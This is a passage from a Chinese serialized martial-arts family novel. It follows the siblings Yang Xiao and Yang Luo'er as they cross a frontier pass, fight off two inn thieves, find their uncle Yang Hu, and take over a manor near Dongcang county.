只见高高的城墙全都由青黑色的条石垒砌而成,每一块石头都方方正正大小一致,整整齐齐的排列在城墙上。城楼下距离河面五六丈的半空中由十几根粗大的黑色铁链吊着水闸。水闸和城门每天都定时开启和关闭。夜里城门关闭水闸放下后,就算是苍蝇也别想飞过去一只。这样雄伟的城关不知道需要多少人,耗费了多少年岁月才能建成,真不愧是天下第一雄关。 不一会儿,就轮到了姐弟一行人接受检查。守卫的士兵验看了官凭路引,检查了车上的一应物品又盘问了出关事由并且一一记录在案。好在几个人都没有什么问题,在如实的回答了守卫的问题后,很快就放行通过了。 马车进入幽长的城门洞,里面十分宽阔,不但能够容纳四辆马车相向而行,并且两边还能富余出供行人通过的道路。这条城门洞长有十几丈,里面光线幽暗,所以每隔一段距离就会在墙壁上留有一个放置油灯的洞龛。两边的墙壁经过长年累月的摩擦显得十分光滑,地上也被通行的马车碾出八条车辙印。马儿踏在石板铺成的地面上“哒哒”作响,响亮的马蹄声在幽暗的城门洞里来回的回荡,再加上阵阵凉风穿堂而过,给人一种阴森可怖的感觉。杨笑不由得一阵脊背发寒,连忙缩了缩脖子躲进了马车里。 杨笑躲在马车里感觉过了好久,才终于走出了长长的城门洞。出关后杨笑回头仰望这座万丈雄关,敬畏之心久久不能平静,心中连连赞叹:“鬼斧神工不过如此吧!” 欲知后事如何,且听下回分解。 第十七回 风雪夜客栈斗毛贼 二山关位于二界山,过了二界山天气就又变凉了几分,到了夜里地面上都铺上了一层白霜,第二天更是下起了一场大雪,放眼望去四野尽是皑皑白光,好一派北国风光。 好在雪下的时间并不长,雪停之后并不耽误赶路。几个人又赶了十多天的路,终于,远远的看到一座小城矗立于旷野之间,这便是姐弟此行的目的地:横塘县城。两位堂叔增在信中提到他们就住在这座县城之中。 姐弟俩进城后先是来到当地的县衙门前。由王伯上前递过官凭路引还有书信,并说明来意,守门的衙役看过后道声稍等便转身入内通报去了。不一会儿,衙役就从县衙里面出来请姐弟二人进去。 二人进入县衙内,接待两个人的是一个瘦小且略有些驼背的老者,这位老者就是这横塘县县衙内的县丞。姐弟二人像老县丞问好后老县丞直接了当的说道:“二位怕是要白跑一趟了。”姐弟俩闻言忙问其中缘由。 原来,二位堂叔其中一人曾是这座县城中的驻军校尉,只是大半年前调到别处任职去了。姐弟俩向老县丞打听两位堂叔的去向。老县丞回道:“此为军中事务,我却不知。” 杨笑问道:“那我们该到哪儿打听堂叔的下落。” 老县丞想了想:“看你两个孩子千里迢迢殊为不易,也罢,我明日托人去城中军营打听一二,你两个且先寻一个住处,待四五日之后再来。”姐弟二人连忙谢过老县丞离开了县衙。 既然暂时不知道两位堂叔的下落,一行人只好先在城里找了一家客栈暂且住下。 杨笑被姐姐安排在同一间房里住下,杨笑有些不乐意:“姐,我也不小了,你还要在夜里看着我不成?” 杨落儿却说:“出门在外你自己睡一间屋子我不放心。” 自从离开家乡,一路上风餐露宿,姐弟两个都是一起挤在车厢里过夜的。那天在峡谷中听那道士说杨笑体质异于常人,若被有心之人发现恐遭不测以后,杨落儿就生怕有人会对她的弟弟不利,夜里睡觉就更是寸步不离的守在杨笑身边。 入夜后天空中又纷纷扬扬的下起了雪。半夜里杨笑将一个大周天运行完毕后吐出胸中一口浊气,扭头看了一眼床上熟睡的姐姐,在心里嘀咕道:“不放心我自己睡非要把我拽过来看着,却又把我赶到地上……唉!”杨笑唉叹一声,只觉得一阵无语。 发完牢骚后,杨笑起身出了房间来到客栈后院。 各位看官恐怕要失望了,杨笑半夜跑出来不是为别的什么事,而是常言道:人有三急。他这是上茅房小解去了。 刚从茅房出来,杨笑不经意间瞥见自己家的马车旁有一团黑影晃动。定睛一看,只见有一个人在马车旁鬼鬼祟祟。 “有贼!?”这个判定立刻就蹦进了杨笑的脑子里。 杨笑见状连忙闪身藏在一旁,他到要看看这两个人三更半夜的想干什么? 没一会儿的功夫,就见从车上又下来一个人,那个人怀里还抱了一个包袱。两个人窃窃私语了几句后就转到马厩里去解马缰绳。到这时杨笑若还搞不清这两个人到底是干什么的那就真是个实傻子了。 杨笑从藏身处跳了出来,喝道:“哪儿来的毛贼!” 那两个毛贼初开始被吓了一跳,在看清是一个半大的孩子时立马就把那做贼心虚的胆怯心思给丢到了一边,壮起了胆子来。 一看就知道是两个惯犯。 只见二人从马厩里走出来,一直走到杨笑面前。可见其胆大嚣张。这时杨笑借着雪光才看清了二人的大致相貌。 其中一人是一个胖子,一身的肥肉让人看了就会难免好奇:这么个球儿一般的胖子是怎么做得这种翻墙越户的勾当的呢?另一个人个子虽说不上高大,但身板也还算可以,只是被身边的胖子这么一比,就显得有点瘦小了。那个瘦贼是个尖下巴,留了两撇小胡子,长了一脸的横肉,一看就知道是个狠人。那瘦子一指杨笑骂道:“小兔崽子,劝你不要多管闲事,快点儿滚回你娘的被窝里吃奶去!” 娘这个字本来就是杨笑的逆鳞,被对方提起来杨笑的心中顿时就怒意横生。杨笑抬手指向那瘦子冷声道:“你偷我家的东西,还要我别管闲事,真不知道你刚才在马厩里是不是脑袋被驴踢了!” 那瘦子听了一瞪眼,低喝一声:“找死!”挥拳就向杨笑打来。 只见杨笑非但不躲反而怒视对方向前跨出一步,在对方拳头近至眼前时,杨笑把头向旁边一歪避开这一拳,一只手在对方的肘窝处一磕,架住了对方的胳膊,同时另一手紧握拳头一拳打在对方当胸。 这招是杨笑小时候跟矿场的护矿拳师学来的,叫个“分枝摘枣”。并不是什么名声响亮的高明拳招,但胜在实用。 这一拳把那毛贼打的噔噔噔连退了五六步差一点儿摔倒在地。那瘦子只觉得胸口生疼,连咳了几声,说道:“这小兔崽子怎么这么大的力气。” 原来杨笑那日在峡谷中遇到的那个神秘的道士传给他的那些口诀乃是一部神奇的功法:《龙虎功》。这功法在杨笑体内生出的那股气息具有拓经脉强筋骨的奇效,经过杨笑这些年的勤学苦练,现如今以杨笑的修为在力气上可比一个壮汉大上了太多,这个毛贼在不防备下自然经不住这一拳。这还是杨笑手下留情的结果,不然这一拳恐怕就能把这个毛贼给打个半死。 那瘦子从地上爬起来,回身抄起墙边靠着的一把镢头抡起来朝杨笑就打。杨笑一跃躲开,抓起身后墙角处靠着的一根有成年人胳膊粗细的木棍,反手就冲那瘦子当头砸下。那瘦子举起镢头相迎,哪知杨笑这一棒势大力沉,一棒下去震的那毛贼双臂生疼,还被木杠上溅落的泥土和木屑把眼睛眯了。不等那瘦子有所反应,杨笑又是一棒送出,捅在他的胸口上。 只听“咔嚓”一声。那瘦子痛叫一声“哎呦!” 瘦子打了个趔趄,后退几步才站稳了身形,他一手扶着镢头把,一手捂着胸口,只觉得胸口疼痛难忍,应该是肋骨被打断了。 就在这时候,杨笑只觉另一边一个黑影闪过,连忙闪身躲开。原来是那个胖子趁刚才二人打斗的时候到旁边搬了一块大石头丢了过来。 这时候那个瘦子也擦干净了双眼,正要有所动作,杨笑持棒一扫,一棍子打在瘦子的腿上,瘦贼抱着一条腿连连痛呼。杨笑一脚跺在那瘦贼的肩膀上把他跺了个四脚朝天,接着就势一跃,跃向一旁的胖子。 那胖子见杨笑一棒打过来,竟然像一个球一样就地一滚躲了过去。杨笑不等他起身把手里的木棒一抡,打在胖子的肩头。胖子吃痛,叫了一声连滚带爬地躲到了一边。 经过这么一闹客栈中的其他人也被外面的动静惊醒了,纷纷亮起了灯。两个毛贼见势不妙指着杨笑叫道:“好小子,没想到你还是个练家子,你他妈给老子等着,咱们走着瞧!”撂下狠话后两个人扭头就跑。 肉厚的胖子到底是经打,挨了杨笑一棍子后依然身手敏捷,那个瘦贼就不行了,爬了几次也没爬上墙头。你别说,那个胖子还挺讲义气,见同伴上不来,就又跳下墙头,拿手托着同伴的屁股,把那瘦贼给推了上去,然后那胖贼才又翻墙逃走。 欲知后事如何,且听下回分解。 第十八回 堂叔杨虎 杨笑赶跑了两个毛贼,回到屋里后自然少不了姐姐杨落儿的关心外带一顿数落:“……车里本来就没留什么值钱的东西,他要偷让他尽管去偷,你出去干什么?实在不行你就喊人嘛!你说你要是有个什么闪失叫我怎么跟泉下的爹娘交待……。”杨落儿吧啦吧啦说了一大堆,杨笑也只能在一边俯首帖耳,老老实实的听着。到最后,杨笑见姐姐说着说着就开始哽咽不己,眼睛里就要往流出几滴眼泪来,他还得连忙反过来安慰姐姐一番。 等到了约定的日子,一大早姐弟二人就来到了县衙。在县衙外等了半天,终于有衙役出来将二人引至一间厢房,进入房内只见老县丞正与一个汉子说话。 老县丞见杨笑姐弟进来,就向二人引荐道:“你二人来得正好,这位就是本县的张校尉。张校尉主管本县的大小军务,你堂叔的事还要问他才行。” 说完,老县丞回过头又对张校尉说道:“张校尉,这就是杨家的两位子侄,他们两个的事还是由你跟他们说一下吧?” 二人忙向张校尉行礼。 张校尉生得人高马大,膀大腰圆,酱紫面皮,留着落腮胡子,一开口声如洪钟:“老县丞客气了。”张校尉向县丞客气一句后又转过头打量了一下姐弟二人,开口道:“杨家兄弟原是我管下的百夫长,因立有军功升了校尉一职,已在半年前调往贡州城上任去了。” 姐弟俩听到堂叔的消息后面露喜色,忙向二人打听该如何前往贡州城。 张校尉说道:“此去向南,路途嘛……约么一旬有余吧。” 老县丞接过话:“贡州我也去过几回,路程远近嘛……还好说,就是途中河湖甚多,在渡口等船实在是让人等的有些心烦。” 张校尉嗯了一声:“你姐弟两个小小年纪又是千里迢迢而来,想必一路上并不好受吧?听说前些日子关内还在闹贼患,你们能一路找到这里真是不容易啊!。” 杨落儿回道:“托将军与老县丞的福,路上虽说遇到了一些事情,不过好在有惊无险。” 张校尉朝天拱手道:“西梁王治下法纪严明,断然不会像关内那般让贼寇横行!”老县丞也在一旁点头称是。张校尉又道:“一会儿我为你二人写一封路引书信,好打发途中的大小关卡。”姐弟二人连忙称谢。张校尉摆手道:“哎!不必如此客气,你二位堂叔与我有多年的袍泽之情,一点小忙,能帮还是要帮的,等见到你二位堂叔后记得代我问句好。” 姐弟二人拿到书信,谢过张校尉与老县丞后连忙回到客栈,收拾完行李就立刻上路了。 经过连日赶路,果然如张校尉说的那样沿途一派太平气象,只是有些许关卡检查而已。也如老县丞说的那样,一路上河湖众多,仿佛是到了水乡一般,等待渡船或是绕些路途不可避免。 十多天后,贡州城外来了一行人,三男四女,这一行人里老的老,少的少,正是杨笑姐弟一行人。 行至贡州城下抬头望去,只见城高三丈,巍峨耸立,城墙通体由一种暗红色的大石头建成,城楼青砖绿瓦,朱红门窗,甚是气派。 “这西梁果然富庶,州府城墙都比关内的州府城墙要高大许多。”王伯抬头望着贡州城的城墙说道。 杨笑从车厢里探出身子趴在王伯的肩头上同样望着城头,听到王伯的话就开口道:“这个我知道。这是因为西梁境乃是国之壁垒,一切都以军务为先,防范异族入侵是头等大事,这里的城墙自然要比关内的城墙高大结实许多。” 进到城里后一行人先到州府衙门报备在案,在州府衙门里打听到堂叔杨虎近两天可能正在贡州城的将军府内叙职。于是,姐弟一行人连忙向将军府赶去。 州府衙门位于城东,将军府则建在城西,两者相距并不太远,一行人很快就来到将军府前。只见高阶之上红墙黛瓦,门宇宽广,一对高大的石狮子怒视前方,着实是威武霸气,一块匾额上题有“贡州军务正堂”几个大字。将军府门宇森严,让人心生敬畏。匾额下面三扇朱漆大门,正中间一扇大门轻易是不会开启的,只留出一侧的偏门供人进出。 姐弟二人递上书信后就在台阶下等候通报。过了好一会儿,从偏门中走出一人。此人身形高大,披盔带甲,腰挎长刀,略显黝黑的面容,眉宇间自带一股英武之气。 那人站在台阶上左右张望一下,待看到姐弟二人后便径直小跑了过来。那人下得台阶来到二人跟前止住脚步,盯着姐弟二人上下打量一番后试探着开口问道:“可是我杨家子侄?” 来的不是别人,正是姐弟俩千里迢迢前来投奔的两位堂叔之一:杨虎。 姐弟俩闻言连忙行礼,齐声道:“侄儿(侄女)杨笑(落儿)见过叔叔。” 身后王伯等人也跟随行礼。 杨虎连忙上前搀扶起姐弟二人:“你们两个孩子,一路上真是受苦了。”说着就向二人身后望去:“……怎么只有你们几个?你父母呢?我大哥和嫂子呢?” 杨虎不提便罢,一提及二人父母,杨笑还好些,只是低头不语目光闪动,一旁的杨落儿却是扑簌簌止不住地掉下眼泪来。 杨虎见状,心知这其中必定有许多的事故,连忙安慰二人:“好孩子,好孩子,别哭。跟叔叔说这是怎么了?家里到底发生了什么事?” 好一会儿杨落儿才收住泪水,把事情的原尾简要的向杨虎说了一遍。杨虎越听越是心惊,越听越是愤恨,惊的是姐弟二人的连番遭遇,恨的是蕃兵残暴,愤的是家族中的亲人竟然落井下石。 杨虎安慰二人一番后说道:“此处不是说话的地方,好在今日军务不多,我管下的事务也已向将军呈禀完毕,我这就去向将军告假提前一天回去,你二人在此稍等,叔叔去去就来。” 原来杨虎并不在贡州城内居住,而是在贡州城东面数十里外的东仓县内任校尉一职,只是每隔半月需来贡州将军府中叙职一次。片刻后杨虎返回,一手一人拉住了姐弟两个:“走,叔叔带你两个回家。” 杨虎排遣一名亲信快马加鞭先行回家通报,自己则骑马跟在一旁领路,与姐弟俩一起慢慢的往回走。 找到堂叔后等待姐弟二人的将是什么样的生活?欲知后事如何,且听下回分解。 第十九回 定居东仓县 上一回说到姐弟二人终于找到了堂叔杨虎,杨虎带领姐弟两个往家中赶去。 杨虎兄弟俩就住在东仓县城内,从县城的西门进入,走上约一里多路,远远地就能看到一座高门楼的大宅院,这就是杨虎兄弟俩的家了。 此时的杨府院门大开,门前的台阶上按辈份大小正站了两排人向城门的方向张望。正是杨虎家中众人。姐弟两个在杨虎的带领下,在门前下了车,由杨虎领着姐弟二人一一与家人相认。介绍完后一家人簇拥着姐弟来到大厅之中。 杨虎坐于正位,杨虎的妻子吕氏紧挨着坐在杨虎的旁边。杨虎的另一边隔着桌子是一个空位子,再往旁边就是杨豹的妻子唐氏。 众人一一落座毕。不等杨虎开口说话就听见外面有人喊道:“大哥,大哥,是堂兄跟嫂子来了吗?大哥?” 喊不到两声就从门外闯进来一名壮汉。这壮汉身如铁塔,浓眉大眼,圆脸庞,声如洪钟。此人正是杨虎的弟弟杨豹。 能看出来杨豹的心情十分的好。 杨虎见兄弟进来起身上前道:“兄弟莫急。”说着就领杨豹认识杨笑姐弟,姐弟二人上前向堂叔杨豹见礼。杨豹忙扶住二人。 杨虎先是向他介绍了杨笑。看到杨笑时杨豹哈哈大笑着说道:“堂兄家的孩子果然长的一表人才。” 杨豹说着就往杨笑的肩上拍了拍,以杨豹的力气虽说只是随意的一拍,搁在平常人身上那劲头也是不小的。而杨笑受了杨豹这一拍只是感到肩头一沉,面上并没有什么变化。杨豹见状伸出大拇指夸道:“好小子!看起来瘦瘦弱弱,小小年纪身板儿还真是结实,将来上了战场一定是一把好手。” 杨豹的妻子唐氏走过来一把打落杨豹的手臂提醒道:“你轻着点儿,别总是没轻没重的,笑侄儿可是读圣贤书将来要考取功名的斯文人,哪像你成天就知道打打杀杀。” 杨豹不好意思的挠挠头,嘿嘿一笑。 杨虎又领他认识了杨落儿。杨豹见到杨落儿后啧啧道:“侄女儿真是好人才呀!嗯……赶明儿个让你婶子一定给你惦记一个好人家,可不能委屈了咱家这么好的……。”不等杨豹说完,妻子唐氏在一边打断了杨豹的话。唐氏白了他一眼说道:“我看没几天,你就能把后街闫媒婆的活儿给抢了。” 别看这杨豹人长得五大三粗的,性子也毛糙,可对自己的媳妇儿却是温柔体贴,言听计从。听了媳妇的话后杨豹立刻嘿嘿笑道:“那样的话,闫媒婆儿还不得找我拼命呀?” “你也知道啊?哪有侄女儿刚进门儿,做叔叔的就要给人家找婆家的,你这不是往外撵人家嘛?还不快点儿老老实实坐回去。”唐氏一指一旁的椅子笑着说道。 杨豹答一声:“好嘞!”一步跨出坐到了座位上,还顺手给妻子递过去一杯茶。 众人再度分次落座,杨虎夫妻及唐氏对姐弟俩一番嘘寒问暖。众人聊的热络,一旁插不上嘴的杨豹忍不住了:“你们这边一句那边一句的说了半天,我想知道的一句也没说。堂哥跟嫂子呢?怎么到现在也没见到?” 杨豹不提还好,这一提又勾起了姐弟俩的伤心事,姐弟俩低下头沉默不语。 杨豹见两个人谁也不说话,满屋子的人也全都低头不语。 “……你们都怎么回事嘛?”杨豹不明所以的问道。 原来杨虎排遣亲信先到家中报信时,已经在信里简要的说明了姐弟俩的遭遇,并在信里提醒家人不要当着姐弟俩的面提起二人的父母。只是这些话因为杨豹当时不在家的原因,所以并不知道。 杨豹环视左右见没一个人说话,就又望向姐弟二人。 杨落儿便忍不住又红了双眼。 饶是杨豹性子再粗也知道这当中必定出了什么事儿:“落侄女,先不要哭,快跟我说这到底是怎么回事儿?你们姐弟两个怎么会突然来到西梁?” 杨落儿这一下再也收不住了,泪眼婆娑的向身边的亲人们哭诉一番。 先说到母亲惨死,父亲被蕃兵掳走,杨虎拍案而起,大骂:“蕃狗竟猖狂到如此地步,日后再到边境时,定要多杀几个蕃狗为兄嫂报仇。”杨豹偌大的汉子竟也落下两眼泪水:“当年全家身染重疾,还是堂兄妙手才把我从鬼门关救了回来,堂兄待我兄弟更是不输父母。如今,杨豹眼看虚度三十年光阴,堂兄的恩情点滴未报,不曾想竟遭蕃狗残害。来日我杨豹一定要为堂兄报仇雪恨!” 众人皆出言安慰姐弟二人。 次说到父母出事后孟秀才立刻退了婚约。杨虎大骂孟秀才忘恩负义:“想当年他家有难处时杨家是怎么接济的?”杨豹更是说:“日后若是让老子遇见了定要叫他好看。” 又说到族人欺辱逼迫,霸占家产,兄弟俩更是愤愤不平,直言尽是些忘恩负义的小人,哪有宗亲之人做这等亲者痛仇者快的事情? 最后说到姐弟俩变卖家产背井离乡,杨豹冷声道:“孟老二虽说在中间做了点亏心事,但到底还有几分良心,日后遇到了倒是可以留他一条小命。” 经过杨落儿的一番哭诉,众人都替她姐弟俩不平,但山高路远,双过去了这么多年也只能好生安慰两个人。 众人又聊了些家长后,杨虎见杨笑怀里抱着的小黑就有些好奇的问道:“侄儿,你怀里的黑猫个头可是不小,打哪儿来的?” 小黑在姐弟俩的精心喂养下,肥硕的很,现在已经像一条半大土狗的个头。杨落儿回答:“这猫叫个小黑,是笑儿从山里捡来的,笑儿喜欢就抱来养了,也不知道是个什么猫,才几个月就长这么大了。” 一旁的杨豹炸炸呼呼的叫道:“哎!我听猎户们说起过,山里边有一种野猫个头特别大,能长到跟家犬差不多。”众人闻言皆是一副了然的表情。 又聊了一阵姐弟俩途中的见闻,吕氏跟唐氏都说:“两个孩子真是一路受苦了。” ……。 当天给杨笑姐弟一行人安排了住处。晚餐为姐弟二人接风自然是丰盛无比,从这以后姐弟俩就在堂叔家住下了。再后来姐弟俩又租住到了杨府旁边的一座小院里,还把两家院墙打通了一个小门,把两个院子连在了一起,以方便出入。 ……转眼年关已至,这天军中无事,杨虎就领着两个随从在坊市里买了些过年用的东西往家里走。快走到家门口时,两个妇人看到杨虎忙喊道:“杨将军请留步……。” 杨虎听着身后有人呼唤,于是转身寻找。两个妇人迎上前向杨虎问好。杨虎还礼:“原来是李婶和石家弟妹,杨虎一介粗人将军二字愧不敢当,不知二位唤杨虎何事?” 那年长些的妇人道:“我家近来一到夜里总是有一只大猫偷食家中鸡鸭,原以为是城外窜入的野兽,几次捕捉却连毛都没有捞着一根……。” 那年轻些的妇人接着道:“奴家家里近来也是多次遭这大猫祸害,昨天夜里更是将家中置办的年货给叼走许多。奴家中并不宽裕,眼看年关已至,这可如何是好?” 年纪大些妇人接过话:“前日家中汉子出门时见将军家一少年领着那巨猫玩耍,才知是少爷圈养的宠物。老婆子没办法,这才来打扰将军,还请将军多多约束那只巨猫,老婆子家中贫寒实在是遭不起这般损失。”说着俩人就要给杨虎跪下,杨虎连忙搀扶住:“是杨虎疏忽了,回去一定多加管束。”说着把随从手中的年货还有自己带着的一些银两塞到二人手里权当赔罪,两个妇人千恩万谢地走了。 欲知后事如何,且听下回分解。 第二十回 小家与大家 爆竹声中一岁除,春风送暖入屠苏。千门万户曈曈日,总把新桃换旧符。 除夕之夜,辞旧迎新,普天同庆,处处张灯结彩。 杨府之中,杨笑姐弟二人也换上了过年的新衣,脸上也流露出少有的喜色。杨落儿把杨笑悄悄叫到身边,交给他一封信笺。杨笑打开来一看,是一张地契,随即不解的看向姐姐。 杨落儿微笑着开口道:“你不是想把小黑留在身边吗?” 杨笑点点头。 “姐姐想着,在城里养一只老虎总归是不方便,再者你我也不能一直住在堂叔家里,总还是要有个自己的家才好。”杨笑听到这里心里就明白了两三分,面上露出喜色来。杨落儿接着说:“我在城东蒲阳山买下了一座庄园,……。” 却原来,自杨虎遇到那两个妇人诉说小黑到邻居家里偷食,杨虎回到家里说给杨笑后,杨笑就开始对小黑严加管教,可怎奈小黑顽性不改,依旧时常半夜外出。杨笑没办法只能把它关了起来。但小黑从小自由惯了,被关在笼子里哀嚎不已。没奈何,杨落儿就打算要把小黑放归山林,而杨笑又怎么肯答应,说小黑从小由我们抚养长大,不会猎食,放到山里跟本活不下去。杨落儿百般劝解杨笑都不答应,到最后杨笑干脆抱着小黑要离家出走:“它没有了娘,我也没有了娘,无论如何我都不会让它离开我的。”杨落儿没办法只得依了杨笑。只是一想到小黑以后会长的像母虎那般个头,又是在城里……杨落儿想想就头疼。 天下的事情从来都是无巧不成书,就在这个时候杨落儿得知城东二十里的蒲阳山,有一位员外因为家中生意遭了变故急需用钱,要变卖家中一处庄园,价高且能出现钱者得之,杨落儿便立刻托人买了下来。 杨笑听姐姐说完就问道:“咱家哪来这么多钱?”虽然姐弟俩在来西梁的途中得了一笔天降之财,但具体是多少钱他也不清楚,谁让他是个吃粮不管闲的主呢!不过在他的印象里家里所有的钱加起来好像也不足以买下这么大的一座庄园。杨落儿只是笑笑不说话,从床头的橱柜当中取出一个包裹来。包裹里面是几件姐弟俩的亵衣,杨落儿一一拆开,在亵衣的夹层里面是一张张的银票,足有近千两。 杨笑恍然一声:“我说姐姐一路上都不让我换衣服,原来这里面另有乾坤。”说完嘿嘿的笑了起来。杨落儿把银票一张张收好:“咱们姐弟俩都还小,这一路上路途坚险,人心险恶,姐姐不能不多长个心眼。” “买这个庄园花了不少钱吧?”杨笑心里有些愧疚。 杨落儿白了他一眼:“为了你姐姐花掉了咱们大半的家财,你可不要让姐姐伤心失望。” 杨笑开怀道:“我就知道姐姐最疼我了。”说着环住姐姐的手臂把脑袋在姐姐的肩头上蹭来蹭去,那样子真是亲昵无比。 杨落儿的心情没来由的有些低落,她把弟弟揽在怀里抚摸着他的头像是慈母一般的自言自语道:“你是姐姐唯一的亲人了,姐姐怎么能不疼你。只盼着你将来能平平安安的姐姐就心满意足了。” 杨笑抬头一脸认真的肯定道:“姐姐放心,笑儿将来一定会有一番做为的!” 杨落儿在他额头点了一下,冲他挤挤眼打趣道:“大话倒是说的山响。” 杨笑不服气道:“哪有?姐姐你忘了在山里遇到的那个道士了吗?” 杨落儿撇撇嘴:“那道士的疯话你也信?” “那道士能带着你我飞天遁地,转瞬间就能翻山越岭不是神仙是什么?” “那些说不定是江湖中的障眼法呢?必经你我当时都头晕眼花的什么也看不清。” 杨笑跳到地上站在姐姐面前认真道:“姐姐不信,我现在却是信了,姐姐可记得那道士在我身上做了什么?” “是记得一些。”杨落儿想了想后点点头。 “姐姐你不知道的是那个道士还在我的脑袋里放了一个奇怪的声音,每天夜里都教我好多东西,还跟我讲天下大势,人心计谋,还有什么治国理政,行军打仗什么的。我这几年每天都听它念叨这些东西,细细品来我还是有许多收获的,现在看待事物跟已往已经大不相同了。……。”杨笑一脸认真的说个没完。 “多学知识,眼界见地自然不同咯。”杨落儿笑眯眯的说道。 杨笑又说道:“眼界见地别处也能学到,可它还教了我一门神奇的强身功法,我如今已有所小成,气力大异于常人,这又做何解释?” “强身健体,气力总会长进。” 杨笑笑道:“这门功法跟普通的拳脚功夫可不一样,待我给姐姐施展一番。”说着就来到院子里把两个石锁抓在手里舞动了起来。 杨虎杨豹身为武将,家里自然不缺练功的器物,只见杨笑把两个五六十斤的石锁像棉花包一样挥舞的呼呼生风,舞毕又把其中一只石锁高高抛起足有两三丈高又稳稳的接在手中。 杨笑的一番表现直把一旁的杨落儿看的目瞪口呆:“你这一身力气当真了得,就是二位堂叔也有不及。” 杨笑放下石锁意犹未尽,又拽过一把大朴刀来。这刀也是杨虎兄弟平日里练功特制的,足有近百斤重,杨笑在院中舞起那柄刀来也是举重若轻,直把那柄大刀挥舞的乌光闪闪,如行云流水一般,把杨落儿看的眼花缭乱。杨笑舞罢却是面不改色,气不喘。杨笑把刀在地上一杵望向杨落儿:“姐姐看笑儿可还行?” 杨落儿此时自然喜不自禁:“好弟弟,你什么时候有了这般能耐啊?” 杨笑笑着回道:“自从我学了那神奇的功法后就每日夜里偷偷练习,这几年下来就有了现在的力气。” 杨落儿上前把弟弟上下打量了一下:“原先我还半信半疑,现在看来那个道士果非凡人。”杨落儿拉着弟弟看了又看,忽然,她面色一敛向杨笑问道:“你身负这等神功可有他人知道?” 杨笑哈哈笑道:“连姐姐都不知道,别人又怎么会知道?” 杨落儿这才放心道:“这就好,这就好。”还不忘叮嘱杨笑:“你日后切莫在人前卖弄,以免招来有心之人。”杨笑知道姐姐担心什么,点头称是。 晚上杨家摆开了家筵,一家人欢聚一堂,互祝同贺一番,一家老小其乐融融。 酒饭用毕。杨虎清了清嗓子,家中老小立刻全都安静了下来。杨虎左右看看说道:“前几日将军已下了军令,今年轮到我前往边境轮换驻防。”一家人闻言都沉默不语。杨虎看了看众人接着说道:“家中天伦固然是人间至美之事,可国之不宁,小家难安,大丈夫自当心怀家国,以戍边安民为己任。我离家之后你等不必挂怀。” 妻子吕氏闻言点头道:“夫君所言极是,妾身定将家中锁事看管好,不教夫君在边关挂心。” 杨虎点头“嗯”了一声,又说道:“此次只我一人前往,兄弟你留在家中,营中事务你要多多用心。” 杨豹点头道:“哥哥尽管放心便是!” “弟媳是个持家的好手,我不在家,家中一应事情你要多与弟媳商量。”杨虎又对身旁的妻子说道。唐氏低头回道:“妾身谨记。” 杨虎又道:“众孩儿要用心读书习武,莫要偷懒!”众子女都回:“孩儿记下了。” 杨虎将家中事务一一吩咐清楚,又跟家人吃了一阵子酒,便散了。 原来西梁境内军兵不论职位身份,全都要到边境轮驻,为期一年。或将东南水乡兵员调往北方草原,或把西北戈壁兵将派到雪山高原。每次抽调三成兵将,南北西东随机轮调驻防。这样一来若某处边关紧张,战事来临时,不至于各地军队到了边境战场不熟悉当地的地理地貌以及气候。 正月初五,民间俗称“破五”。到了这一天,年就算过的差不多了,不论是农工仕商,在这一天都将开始新一年中的忙碌。农夫下田开犁;铁匠开炉打铁;猎户上山打猎;坊市里的大小商户们也全都开门迎客;有要出远门的,到了这一天也开始能够出门远行了。。 到了正月初五这天,县官并县里的乡绅及出征将士们的家属都来为众将士们送行。 多少年来,西梁境这片土地就一直都是兵家必征之地,为了抵御外族的入侵,西梁的老百姓们不知道失去了多少的亲人,也不知道有多少人的父亲、丈夫、儿子永远的留在了那遥远边关的战场上。面对那一具具送回来的冷冰冰的尸体,亦或是白刷刷的骨灰,又有多少母亲、妻子、儿女们哭断了肠。世人只知道西梁军能征善战,却忘记了西梁家家户户门前都飘着的白绫。 喝过了壮行酒,放过了开路炮,杨虎提枪上马,明盔亮甲红披风,好不威风。杨虎把手中长枪一挥,大喝一声:“出发!”接着,在三声声震天外的炮响中,众将士开拔。在亲人们或不舍或鼓励的目光中渐渐地远去了。 家是最小国,国是万千家!只有国富强,才有安定的家。 第二十一回 蒲阳山庄 元宵节一过,姐弟二人就开始搬家了。 两个人本来就没有什么东西可搬的,就是一些随身的物品需要收拾一下,再说那座园里一应事务俱全,只要稍做打扫就可以住人了。 到达目的地后,映入姐弟眼帘的是一座占地甚广的大庄园。庄园座北朝南,依山傍水,近处的土地一眼难以望到尽头,远处的山丘上林木繁茂。 一位须发略显花白的老者从山庄的大门内走出,来到姐弟二人跟前见礼:“老朽见过杨小姐。” 杨落儿回以万福。 老者起身后说道:“老朽已将一切交割事项准备妥当,请杨小姐移步内厅,老朽好向杨小姐一一交割。”说完侧身恭敬的请杨落儿进入庄园内。 通过一条宽阔的道路后是一个三进三出的大院落。众人进入院内来到客厅,客厅内正中摆了一张大桌子,桌子上放了一摞帐本还有一个卷轴。 老者走上前打开卷轴,原来是一幅地图。卷轴很大铺满了整张桌子。“小姐请看”老者让过位置伸手指向地图:“这座庄园后面的小山就是蒲阳山,山庄的名字也来源于此。”原来这蒲阳山并不是什么名山大川,只是一座离东仓县城很近的小山,周围十多里又没有其它山峰,所以才在当地有些小名气。 老者接着说道:“整座蒲阳山以及山前山后包括左右两侧的丘陵、沟壑,还有山前的这片平地,都归庄园所有。”老者又指了指地图上一处绘有院落房屋图案的地方“这是庄园的大门,这里就是这座院子所在的地方。”姐弟俩看向地图上老者所指的位置,那里绘有一座院落,房屋,院墙,甚至是门窗都描绘的惟妙惟俏,正是他们现在所处的这座大院落。不过这座几进几出的大院落在整座庄园的地图上也只是占了一丁点的地方,可见整座庄园的规模确实不小。 老者又介绍道:“山前的这片平地目前共开出了上千亩的田地,余下的大半土地尚未开垦。这些田地土质肥沃,每年所产的各色粮食是庄园里的主要收入来源。”老者又指向大院旁不远处的一个地点:“这里是屯粮的仓库,现有各色粮食约二百余担,自小姐签下契约之时便一粒米都没有动过。” “这里是庄园的酒窖,酿出的酒水味道还是很不错的。”老者指着粮仓旁边的一处地点说道:“县里还有贡州府城内,都有酒楼客栈常年在这里订购酒水。” 老者的手又指向一座小土丘旁:“这里是饲养牲畜,家禽以及修整农具的地方,内里有牛马各十多头,猪十余头,羊两百多只,鸡鸭共约四五百只。” 